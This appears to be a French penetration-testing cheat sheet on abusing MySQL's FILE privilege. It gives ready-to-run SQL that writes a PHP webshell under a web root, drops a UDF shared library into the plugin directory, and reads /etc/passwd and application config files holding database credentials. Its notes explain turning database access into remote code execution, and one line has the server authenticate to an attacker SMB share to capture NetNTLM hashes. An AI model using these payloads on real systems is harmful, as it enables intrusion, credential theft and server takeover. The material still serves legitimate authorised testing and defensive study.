Avec le privilège FILE, MySQL lit et écrit des fichiers sous son compte de service. La primitive d'écriture est la plus précieuse : déposer un webshell sous une racine web est un chemin direct vers l'exécution de code, et écrire une bibliothèque dans le répertoire de plugins prépare une UDF.
Écrire des fichiers#
-- drop a webshell under a served directory
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/s.php';
-- write raw bytes (e.g. a UDF .so) with DUMPFILE, which does not add row/line formatting
SELECT 0xMACHINECODE INTO DUMPFILE '/usr/lib/mysql/plugin/x.so';
Lire des fichiers#
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php'); -- app secrets, DB creds
Le verrou secure_file_priv#
SELECT @@secure_file_priv;
-- '' (empty) -> read/write anywhere
-- a directory -> confined to that path
-- NULL -> file operations disabled
Notes d'exploitation#
- L'écriture du webshell est le point saillant :
INTO OUTFILEsous la racine web transforme l'accès à la base en RCE web, à condition que le chemin soit accessible en écriture par le comptemysqlet quesecure_file_privl'autorise. - Utilisez
INTO DUMPFILE(et nonOUTFILE) pour les binaires :OUTFILEéchappe et ajoute des séparateurs, corrompant un.so/.dll;DUMPFILEécrit les octets tels quels. LOAD_FILErenvoie NULL lorsque le fichier est illisible par le compte de service ou bloqué parsecure_file_priv, vérifiez donc ce paramètre d'abord.- Ces opérations nécessitent le privilège
FILE, querootpossède par défaut ; un utilisateur de moindre niveau peut ne pas l'avoir, confirmez donc avecSHOW GRANTS. - Sous MySQL Windows,
LOAD_FILE('\\\\<attacker>\\x')fait s'authentifier le compte de service auprès d'un listener SMB, une primitive de capture ou de relais NetNTLM ; peu courant, car MySQL sous Windows est rare.
Outils#
- mysql : exécuter directement
INTO OUTFILE/LOAD_FILE. - sqlmap (
--file-write,--file-read) : écriture et lecture de fichiers automatisées via injection ou connexion directe.